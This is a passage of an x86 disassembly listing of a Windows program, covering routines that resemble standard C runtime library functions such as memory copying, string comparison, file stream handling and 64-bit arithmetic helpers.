		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC91C
		call	sub_422608
		mov	edx, dword_4DC91C
		pop	ecx
		mov	ecx, dword_4DC918
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC91C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC918
		sub	ecx, dword_4DC91C
		mov	dword_4DC91C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC918, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC918, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC91C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC91C
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC91C
		mov	dword_4DC918, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 27A0138h
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 28B0000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB2E2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB2E0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB2DE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB2DA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB2D8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB2D0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 28A0000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB2D8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB2D0, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB32C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB278, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 26A047Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		call	near ptr 2690DCCh
		nop
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB278, 0Dh
		mov	dword_4DB27C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
